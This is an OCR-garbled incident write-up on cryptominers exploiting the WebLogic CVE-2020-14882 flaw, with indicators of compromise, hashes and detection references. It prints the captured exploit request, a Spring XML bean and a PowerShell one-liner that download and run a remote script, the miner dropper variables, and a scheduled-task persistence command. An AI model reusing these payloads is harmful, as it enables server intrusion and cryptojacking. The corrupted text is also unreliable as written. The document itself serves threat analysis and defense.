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Cryptominers Exploiting
WebLogic RCE CVE-2020-14882
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https://isc.sans.edu/diary/Attackers+Exploiting+WebLogic+Servers+via+CVE2020
14882 +to+install+Cobalt+Strike/26752

https://isc.sans.edu/diary/PATCH+NOW+CVE202014882+Weblogic+Actively+Expl
oited+Against+Honeypots/26734
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POST /console/images/¥252e¥252e¥252Fconsole.portal HTTR/1.1\r\n
Host: | 7201\ \n
User-Agent: Mozilla/5.@ (Windows NT 18.8; Wing4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.8.3984.188 Safari/537.36\r\n
Connection: closelrin
Content-Length: 157\r\n
Content-Type: application/x-www-form-urlencodedyrin
Accept-Encoding: gzipirin
\rin
[Full request URI: http://|EN: 7601/ console/images/%252e%252e%252Fconsole. portal
[HTTP request 1/1]
Response in frame: 9
File Data: 157 bytes
¥ HTML Form URL Encoded: application/x-www-form-urlencoded

Form item: "_nfpb" = "true"
Form item: “_pagelabel” = “HomePagel"
Form item: "handle" = "com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://95.142.39.135/whw.xm1")’
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encoding="1S0-8859-1"7>
on="http:/ /www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" ximlns xai="hitp:/ / www.w3.0rg/ 2001 /XMLSchema-instance’
http:/ /weww.springfromework.org/schema/beans'>
<bean class="java.lang.ProcessBuilder” id="pb" init-method = "start">
< arg>

o>powershell.exe</value>

<value:
<![CDATA[
Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New-Object System.Net.webClient).DownloadString('http://95.142.39.135/1.ps1'))

powershell.exe "Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New-Object
System.Net.WebClient).DownloadString(‘http://95.142.39.135/1.ps1"y)’
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fne = IMyInvocation.MyCommand. Path

fminer_url = “http://95.142. 39,135/ xmrig. exe™
Sminer_url_backup = "http://95.142.39.135 /xmr1g. exe"
fminer_size = 4578304

fminer_name = "sysupdate"

fminer_cfg_url = “http://95.142.39.135/config. json"”
Sminer_ctfog_url_backup = "http://95.142.39.135 /config.json”™
fminer_cfg_s1ze 3714

fminer_ctg_name "config. json”

fminer_path = "fenv:TMP\svsupdate. exe"
fminer_ctfg_path = "fenv:TMPYconfig. json™
Spavioad_path = "fenv:TMP update.ps1"

S § 203 o exs SYSUPdate a1, o] b wiS o 1>l 5 oslils 1) XMRIg oo Sl prns
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SchTasks.exe /Create /SC ows Service” /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -File SHOME\update.psi” /MO 30 /F
2

0 if(!(Get-Process

NUTE /TN “Updat e
me -ErrorAction SilentlyContinue

Write-Output er Not running
Start-Process $miner_path -windowstyle hidde:

Write-Output "Miner Running
}

Start-Sleep §

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /TN "Update service for Windows
Service" /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -File
C:\Users\Administrator\update.ps1" /MO 30 /F

2 Lol 51,1,
&S QLQ_..s ‘) S¢> &$S P G ols Jovey] Sysupdate O ‘) erig.exe ‘al.: w)iw‘

¥MRig miner
6.4.8

SHA1=B2E6AFBAEADBSFAC2SFEBBIDCEFB2BDABFAB6DCA , MD5=57FBFDEC4DI19DBBBD4576DCB4AECTS2, SHA2 56=5E5B5171A95955ECBAFABFIF1BAGEF313165044CC1 978A447673CAACT 785917
D2A3D668

sers\\ADMINI~1\\AppData\\Local\\Temp\\sysupdate.exe
High

{fe5dc187-6762-519c-64a3-BaBBBEOB00EE }

e powershell.exe \"Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New-Object System.Net.WebClient).DownloadString('http://95.142.39.135/1.ps1'))\"

C:\\Windows\\System32\ \WindowsPowerShe11}\v1 .8\ \pawer shell.exe
id {fe5dc187-4c3e-5F9d-690b-0ARBAEARALAA}

924

{feSdc187-4c68-59d-c56b-BORAREARBLEA }
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https://misppriv.circl.lu/events/view/81020#
https://otx.alienvault.com/pulse/5fac81c53f59e8b0157fcadf

Network

IPs exploiting CVE-2020-14882
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Miner connections
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File
xmrig.exe
57f0fdec4d919db0bd4576dc84aec752
82e6af04eadb5fac25fbb89dc6f020da0f4b6dca
5e5b5171a95955ecb0fa8f9f1ba66f313165044cc1978a447673c0ac17859170
1psl
70000d52dc3ad153464dc41891¢10439
9bd2bc3f87d4c9d029a4e6391358f776e86ad2d5
58bb90f11070a114442c4falcbbccefadcdf954510ae2b8d91c9b22b1a8a42d5
wbw.xml
fe0f332ed847a25a18cd63dfdaf69908
67ff54a71dfc5b817fbc6e62c6c30e9a30219fb9
c8fd12490f9251080803a68e26albdb1919811334ec54ab194645bd516adflcl
config.json
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0c86e66105645700b08d33e793362de41d0b1878
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goae IP Lo ,oTL PST culys o ET INFO

() ool 5 o (63505 L g0 sla,zS1,ls ET WEB_SERVER

Ve 55550 b goue IP o yol 4y oges SsSiio POST sl s ET HUNTING

M1 54,5 Start-Process L Ji 5L ,04bls ET HUNTING
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Sigma

https://github.com/Neo023x0/sigma/blob/de5444a81e770ec730aa5e3af69781ab222f021a/rule
s/windows/powershell/powershell_suspicious_invocation_specific.ym
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https://thedfirreport.com/2020/11/12/cryptominers-exploiting-weblogic-rce-
cve-2020-14882/
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